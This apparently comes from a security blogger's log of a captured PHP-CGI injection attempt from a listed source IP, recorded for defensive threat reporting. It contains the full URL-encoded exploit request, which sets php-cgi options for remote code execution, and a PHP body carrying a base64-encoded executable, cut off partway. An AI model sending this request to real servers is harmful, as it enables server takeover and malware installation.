PHP Injection 195.210.28.78

PHP Injection Attempt
Reported by neonprimetime security
http://neonprimetime.blogspot.com

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Source IP: 195.210.28.78
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POST /cgi-bin/php-cgi.bin?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAEDwQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA5EMAAAAAAADkQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAB1k/mqVVBYIeAHDRYAAAAAYJ4AAGCeAAAAAgAAsAAAAAIAAAD7+yH/f0VMRgIBAQACAD4ADdAbQA+7ZL8XBQCglyITOADdsu67CAUbABoABg8FJwdA5IQ8IcABAAgA2GCT7gNwBHhABwIyIU8cAAAB+cA